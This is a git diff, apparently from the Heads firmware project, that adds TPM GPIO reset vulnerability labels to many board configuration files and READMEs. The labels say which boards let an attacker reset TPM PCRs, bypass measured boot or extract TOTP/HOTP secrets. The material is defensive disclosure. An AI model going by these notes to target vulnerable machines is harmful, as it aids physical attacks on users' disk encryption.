.../UNTESTED_nitropad-ns50.config | 3 +- .../UNTESTED_talos-2/UNTESTED_talos-2.config | 3 + boards/librem_11/librem_11.config | 2 + boards/librem_14/librem_14.config | 2 + boards/librem_l1um_v2/librem_l1um_v2.config | 2 + boards/librem_mini/librem_mini.config | 2 + boards/librem_mini_v2/librem_mini_v2.config | 2 + boards/msi_z790p_ddr5/msi_z790p_ddr5.config | 3 +- .../novacustom-nv4x_adl.config | 3 +- .../novacustom-v540tu.config | 4 +- .../novacustom-v560tu.config | 4 +- doc/BOARDS_AND_TESTERS.md | 273 ++++---- doc/TPM_GPIO_Reset_Approaches.md | 630 +++++------------- doc/TPM_GPIO_Reset_Vulnerability.md | 246 ++----- doc/faq.md | 120 +--- doc/keys.md | 2 + doc/security-model.md | 3 +- 58 files changed, 506 insertions(+), 955 deletions(-) diff --git a/blobs/m900/README.md b/blobs/m900/README.md index 2ba846ad0..c75878296 100644 --- a/blobs/m900/README.md +++ b/blobs/m900/README.md @@ -39,7 +39,7 @@ Sha256sums: `blobs/m900/hashes.txt` # CAVEATS for the board: -> This board is vulnerable to a TPM reset attack, i.e. the PCRs are reset while the system is running. +> This board is vulnerable to a TPM GPIO reset attack, i.e. the PCRs are reset while the system is running. > This attack can be used to bypass measured boot when an attacker succeeds at modifying the SPI flash. > Also it can be used to extract FDE keys from a TPM. > The related coreboot issue contains more information: https://ticket.coreboot.org/issues/576 diff --git a/blobs/xx80/README.md b/blobs/xx80/README.md index 4451931a0..87fbac58b 100644 --- a/blobs/xx80/README.md +++ b/blobs/xx80/README.md @@ -42,7 +42,7 @@ Sha256sums: `blobs/xx80/hashes.txt` See the board configs `boards/t480-[hotp-]maximized/t480-[hotp-]maximized.config`: -> This board is vulnerable to a TPM reset attack, i.e. the PCRs are reset while the system is running. +> This board is vulnerable to a TPM GPIO reset attack, i.e. the PCRs are reset while the system is running. > This attack can be used to bypass measured boot when an attacker succeeds at modifying the SPI flash. > Also it can be used to extract FDE keys from a TPM. > The related coreboot issue contains more information: https://ticket.coreboot.org/issues/576 diff --git a/boards/EOL_UNTESTED_t530-hotp-maximized/EOL_UNTESTED_t530-hotp-maximized.config b/boards/EOL_UNTESTED_t530-hotp-maximized/EOL_UNTESTED_t530-hotp-maximized.config index a6f4f7371..97852bc3d 100644 --- a/boards/EOL_UNTESTED_t530-hotp-maximized/EOL_UNTESTED_t530-hotp-maximized.config +++ b/boards/EOL_UNTESTED_t530-hotp-maximized/EOL_UNTESTED_t530-hotp-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a T530 running Qubes and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_UNTESTED_t530-maximized/EOL_UNTESTED_t530-maximized.config b/boards/EOL_UNTESTED_t530-maximized/EOL_UNTESTED_t530-maximized.config index 3e57c6b8a..4fa736382 100644 --- a/boards/EOL_UNTESTED_t530-maximized/EOL_UNTESTED_t530-maximized.config +++ b/boards/EOL_UNTESTED_t530-maximized/EOL_UNTESTED_t530-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a T530 running Qubes and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_librem_13v2/EOL_librem_13v2.config b/boards/EOL_librem_13v2/EOL_librem_13v2.config index 53ccf1ceb..9db0e4c24 100644 --- a/boards/EOL_librem_13v2/EOL_librem_13v2.config +++ b/boards/EOL_librem_13v2/EOL_librem_13v2.config @@ -1,6 +1,8 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use # Configuration for a librem_13v2 CONFIG_LINUX_CONFIG=config/linux-librem_common-6.1.8.config +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. CONFIG_COREBOOT_CONFIG=config/coreboot-librem_13v2.config export CONFIG_COREBOOT=y diff --git a/boards/EOL_librem_13v4/EOL_librem_13v4.config b/boards/EOL_librem_13v4/EOL_librem_13v4.config index 6a233e4cf..3dfe7d6e3 100644 --- a/boards/EOL_librem_13v4/EOL_librem_13v4.config +++ b/boards/EOL_librem_13v4/EOL_librem_13v4.config @@ -1,6 +1,8 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use # Configuration for a librem_13v4 CONFIG_LINUX_CONFIG=config/linux-librem_common-6.1.8.config +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. CONFIG_COREBOOT_CONFIG=config/coreboot-librem_13v4.config export CONFIG_COREBOOT=y diff --git a/boards/EOL_librem_15v3/EOL_librem_15v3.config b/boards/EOL_librem_15v3/EOL_librem_15v3.config index b1cfbb21b..c78de9a54 100644 --- a/boards/EOL_librem_15v3/EOL_librem_15v3.config +++ b/boards/EOL_librem_15v3/EOL_librem_15v3.config @@ -1,6 +1,8 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use # Configuration for a librem_15v3 CONFIG_LINUX_CONFIG=config/linux-librem_common-6.1.8.config +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. CONFIG_COREBOOT_CONFIG=config/coreboot-librem_15v3.config export CONFIG_COREBOOT=y diff --git a/boards/EOL_librem_15v4/EOL_librem_15v4.config b/boards/EOL_librem_15v4/EOL_librem_15v4.config index 2236667db..cc6ed4c71 100644 --- a/boards/EOL_librem_15v4/EOL_librem_15v4.config +++ b/boards/EOL_librem_15v4/EOL_librem_15v4.config @@ -1,6 +1,8 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use # Configuration for a librem_15v4 CONFIG_LINUX_CONFIG=config/linux-librem_common-6.1.8.config +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. CONFIG_COREBOOT_CONFIG=config/coreboot-librem_15v4.config export CONFIG_COREBOOT=y diff --git a/boards/EOL_librem_l1um/EOL_librem_l1um.config b/boards/EOL_librem_l1um/EOL_librem_l1um.config index 2b4c41fed..17ca10cdc 100644 --- a/boards/EOL_librem_l1um/EOL_librem_l1um.config +++ b/boards/EOL_librem_l1um/EOL_librem_l1um.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a librem_l1um CONFIG_LINUX_CONFIG=config/linux-librem_common.config CONFIG_COREBOOT_CONFIG=config/coreboot-librem_l1um.config diff --git a/boards/EOL_m900_tower-hotp-maximized/EOL_m900_tower-hotp-maximized.config b/boards/EOL_m900_tower-hotp-maximized/EOL_m900_tower-hotp-maximized.config index 2051e15f7..5d7cbf034 100644 --- a/boards/EOL_m900_tower-hotp-maximized/EOL_m900_tower-hotp-maximized.config +++ b/boards/EOL_m900_tower-hotp-maximized/EOL_m900_tower-hotp-maximized.config @@ -18,13 +18,8 @@ # - PSU: 250W (85% efficiency) or optional 400W (92%) # - Form factor: Mini Tower (25L), 175 x 413 x 406 mm, ~12.5 kg # -# CAVEATS: -# This board is vulnerable to a TPM reset attack, i.e. the PCRs are reset while the system is running. -# This attack can be used to bypass measured boot when an attacker succeeds at modifying the SPI flash. -# Also it can be used to extract FDE keys from a TPM. -# The related coreboot issue contains more information: https://ticket.coreboot.org/issues/576 -# Make sure you understand the implications of the attack for your threat model before using this board. -# Includes +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # - Deactivated+partially neutered+deguarded ME and expanded consequent IFD BIOS regions # - More details can be found in the script under blobs/m900/m900_download_clean_deguard_me.sh # - Forged GBE MAC address to 00:DE:AD:C0:FF:EE diff --git a/boards/EOL_m900_tower-maximized/EOL_m900_tower-maximized.config b/boards/EOL_m900_tower-maximized/EOL_m900_tower-maximized.config index 810163ecd..8eb16cb96 100644 --- a/boards/EOL_m900_tower-maximized/EOL_m900_tower-maximized.config +++ b/boards/EOL_m900_tower-maximized/EOL_m900_tower-maximized.config @@ -18,13 +18,8 @@ # - PSU: 250W (85% efficiency) or optional 400W (92%) # - Form factor: Mini Tower (25L), 175 x 413 x 406 mm, ~12.5 kg # -# CAVEATS: -# This board is vulnerable to a TPM reset attack, i.e. the PCRs are reset while the system is running. -# This attack can be used to bypass measured boot when an attacker succeeds at modifying the SPI flash. -# Also it can be used to extract FDE keys from a TPM. -# The related coreboot issue contains more information: https://ticket.coreboot.org/issues/576 -# Make sure you understand the implications of the attack for your threat model before using this board. -# Includes +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # - Deactivated+partially neutered+deguarded ME and expanded consequent IFD BIOS regions # - More details can be found in the script under blobs/m900/m900_download_clean_deguard_me.sh # - Forged GBE MAC address to 00:DE:AD:C0:FF:EE diff --git a/boards/EOL_optiplex-7010_9010-hotp-maximized/EOL_optiplex-7010_9010-hotp-maximized.config b/boards/EOL_optiplex-7010_9010-hotp-maximized/EOL_optiplex-7010_9010-hotp-maximized.config index e50aeb232..5e4ccce60 100644 --- a/boards/EOL_optiplex-7010_9010-hotp-maximized/EOL_optiplex-7010_9010-hotp-maximized.config +++ b/boards/EOL_optiplex-7010_9010-hotp-maximized/EOL_optiplex-7010_9010-hotp-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a Optiplex 7010/9010 SFF running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_optiplex-7010_9010-maximized/EOL_optiplex-7010_9010-maximized.config b/boards/EOL_optiplex-7010_9010-maximized/EOL_optiplex-7010_9010-maximized.config index 917638768..d57983b68 100644 --- a/boards/EOL_optiplex-7010_9010-maximized/EOL_optiplex-7010_9010-maximized.config +++ b/boards/EOL_optiplex-7010_9010-maximized/EOL_optiplex-7010_9010-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a Optiplex 7010/9010 SFF running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_optiplex-7010_9010_TXT-hotp-maximized/EOL_optiplex-7010_9010_TXT-hotp-maximized.config b/boards/EOL_optiplex-7010_9010_TXT-hotp-maximized/EOL_optiplex-7010_9010_TXT-hotp-maximized.config index 9c318dc57..5b9d2cfc9 100644 --- a/boards/EOL_optiplex-7010_9010_TXT-hotp-maximized/EOL_optiplex-7010_9010_TXT-hotp-maximized.config +++ b/boards/EOL_optiplex-7010_9010_TXT-hotp-maximized/EOL_optiplex-7010_9010_TXT-hotp-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a Optiplex 7010/9010 SFF running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_optiplex-7010_9010_TXT-maximized/EOL_optiplex-7010_9010_TXT-maximized.config b/boards/EOL_optiplex-7010_9010_TXT-maximized/EOL_optiplex-7010_9010_TXT-maximized.config index 3e1cea776..69154c329 100644 --- a/boards/EOL_optiplex-7010_9010_TXT-maximized/EOL_optiplex-7010_9010_TXT-maximized.config +++ b/boards/EOL_optiplex-7010_9010_TXT-maximized/EOL_optiplex-7010_9010_TXT-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a Optiplex 7010/9010 SFF running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_t420-hotp-maximized/EOL_t420-hotp-maximized.config b/boards/EOL_t420-hotp-maximized/EOL_t420-hotp-maximized.config index c2f4e86df..8fd55401b 100644 --- a/boards/EOL_t420-hotp-maximized/EOL_t420-hotp-maximized.config +++ b/boards/EOL_t420-hotp-maximized/EOL_t420-hotp-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a T420 running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_t420-maximized/EOL_t420-maximized.config b/boards/EOL_t420-maximized/EOL_t420-maximized.config index a797cb650..9442cc474 100644 --- a/boards/EOL_t420-maximized/EOL_t420-maximized.config +++ b/boards/EOL_t420-maximized/EOL_t420-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a T420 running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_t430-hotp-maximized/EOL_t430-hotp-maximized.config b/boards/EOL_t430-hotp-maximized/EOL_t430-hotp-maximized.config index f44bab884..14f7861b9 100644 --- a/boards/EOL_t430-hotp-maximized/EOL_t430-hotp-maximized.config +++ b/boards/EOL_t430-hotp-maximized/EOL_t430-hotp-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a T430 running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_t430-maximized/EOL_t430-maximized.config b/boards/EOL_t430-maximized/EOL_t430-maximized.config index 26b5805cd..b885744bf 100644 --- a/boards/EOL_t430-maximized/EOL_t430-maximized.config +++ b/boards/EOL_t430-maximized/EOL_t430-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a T430 running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_t440p-hotp-maximized/EOL_t440p-hotp-maximized.config b/boards/EOL_t440p-hotp-maximized/EOL_t440p-hotp-maximized.config index 630a6e28d..39379753a 100644 --- a/boards/EOL_t440p-hotp-maximized/EOL_t440p-hotp-maximized.config +++ b/boards/EOL_t440p-hotp-maximized/EOL_t440p-hotp-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a ThinkPad T440p with HOTP Security dongle support CONFIG_COREBOOT_CONFIG=config/coreboot-t440p.config # TODO: Make a ThinkPad-common Linux config file. diff --git a/boards/EOL_t440p-maximized/EOL_t440p-maximized.config b/boards/EOL_t440p-maximized/EOL_t440p-maximized.config index ce9de9dec..82dde73bd 100644 --- a/boards/EOL_t440p-maximized/EOL_t440p-maximized.config +++ b/boards/EOL_t440p-maximized/EOL_t440p-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a ThinkPad T440p without HOTP Security dongle support CONFIG_COREBOOT_CONFIG=config/coreboot-t440p.config # TODO: Make a ThinkPad-common Linux config file. diff --git a/boards/EOL_t480-hotp-maximized/EOL_t480-hotp-maximized.config b/boards/EOL_t480-hotp-maximized/EOL_t480-hotp-maximized.config index b55eeca8b..70befdc5e 100644 --- a/boards/EOL_t480-hotp-maximized/EOL_t480-hotp-maximized.config +++ b/boards/EOL_t480-hotp-maximized/EOL_t480-hotp-maximized.config @@ -1,14 +1,8 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use # Configuration for a T480 running Qubes 4.2.3 and other Linux Based OSes (through kexec) # -# CAVEATS: -# This board is vulnerable to a TPM reset attack, i.e. the PCRs are reset while the system is running. -# This attack can be used to bypass measured boot when an attacker succeeds at modifying the SPI flash. -# Also it can be used to extract FDE keys from a TPM. -# The related coreboot issue contains more information: https://ticket.coreboot.org/issues/576 -# Make sure you understand the implications of the attack for your threat model before using this board. -# -# Includes +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # - Deactivated+partially neutered+deguarded ME and expanded consequent IFD BIOS regions # - More details can be found in the script under blobs/xx80/download_clean_deguard_me_pad_tb.sh # - Forged GBE MAC address to 00:DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx80/extract.sh) diff --git a/boards/EOL_t480-maximized/EOL_t480-maximized.config b/boards/EOL_t480-maximized/EOL_t480-maximized.config index 42f327f24..e7c4a50ce 100644 --- a/boards/EOL_t480-maximized/EOL_t480-maximized.config +++ b/boards/EOL_t480-maximized/EOL_t480-maximized.config @@ -1,14 +1,8 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use # Configuration for a T480 running Qubes 4.2.3 and other Linux Based OSes (through kexec) # -# CAVEATS: -# This board is vulnerable to a TPM reset attack, i.e. the PCRs are reset while the system is running. -# This attack can be used to bypass measured boot when an attacker succeeds at modifying the SPI flash. -# Also it can be used to extract FDE keys from a TPM. -# The related coreboot issue contains more information: https://ticket.coreboot.org/issues/576 -# Make sure you understand the implications of the attack for your threat model before using this board. -# -# Includes +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # - Deactivated+partially neutered+deguarded ME and expanded consequent IFD BIOS regions # - More details can be found in the script under blobs/xx80/download_clean_deguard_me_pad_tb.sh # - Forged GBE MAC address to 00:DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx80/extract.sh) diff --git a/boards/EOL_t480s-hotp-maximized/EOL_t480s-hotp-maximized.config b/boards/EOL_t480s-hotp-maximized/EOL_t480s-hotp-maximized.config index f1096f445..4f933d15c 100644 --- a/boards/EOL_t480s-hotp-maximized/EOL_t480s-hotp-maximized.config +++ b/boards/EOL_t480s-hotp-maximized/EOL_t480s-hotp-maximized.config @@ -1,14 +1,8 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use # Configuration for a T480 running Qubes 4.2.3 and other Linux Based OSes (through kexec) # -# CAVEATS: -# This board is vulnerable to a TPM reset attack, i.e. the PCRs are reset while the system is running. -# This attack can be used to bypass measured boot when an attacker succeeds at modifying the SPI flash. -# Also it can be used to extract FDE keys from a TPM. -# The related coreboot issue contains more information: https://ticket.coreboot.org/issues/576 -# Make sure you understand the implications of the attack for your threat model before using this board. -# -# Includes +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # - Deactivated+partially neutered+deguarded ME and expanded consequent IFD BIOS regions # - More details can be found in the script under blobs/xx80/download_clean_deguard_me_pad_tb.sh # - Forged GBE MAC address to 00:DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx80/extract.sh) diff --git a/boards/EOL_t480s-maximized/EOL_t480s-maximized.config b/boards/EOL_t480s-maximized/EOL_t480s-maximized.config index 0070d9e4b..b1478cbc8 100644 --- a/boards/EOL_t480s-maximized/EOL_t480s-maximized.config +++ b/boards/EOL_t480s-maximized/EOL_t480s-maximized.config @@ -1,14 +1,8 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use # Configuration for a T480 running Qubes 4.2.3 and other Linux Based OSes (through kexec) # -# CAVEATS: -# This board is vulnerable to a TPM reset attack, i.e. the PCRs are reset while the system is running. -# This attack can be used to bypass measured boot when an attacker succeeds at modifying the SPI flash. -# Also it can be used to extract FDE keys from a TPM. -# The related coreboot issue contains more information: https://ticket.coreboot.org/issues/576 -# Make sure you understand the implications of the attack for your threat model before using this board. -# -# Includes +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # - Deactivated+partially neutered+deguarded ME and expanded consequent IFD BIOS regions # - More details can be found in the script under blobs/xx80/download_clean_deguard_me_pad_tb.sh # - Forged GBE MAC address to 00:DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx80/extract.sh) diff --git a/boards/EOL_w530-hotp-maximized/EOL_w530-hotp-maximized.config b/boards/EOL_w530-hotp-maximized/EOL_w530-hotp-maximized.config index 5e23f47d3..21c3eef8d 100644 --- a/boards/EOL_w530-hotp-maximized/EOL_w530-hotp-maximized.config +++ b/boards/EOL_w530-hotp-maximized/EOL_w530-hotp-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a W530 running Qubes and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_w530-maximized/EOL_w530-maximized.config b/boards/EOL_w530-maximized/EOL_w530-maximized.config index 9daa35c55..a5e77ea6c 100644 --- a/boards/EOL_w530-maximized/EOL_w530-maximized.config +++ b/boards/EOL_w530-maximized/EOL_w530-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See 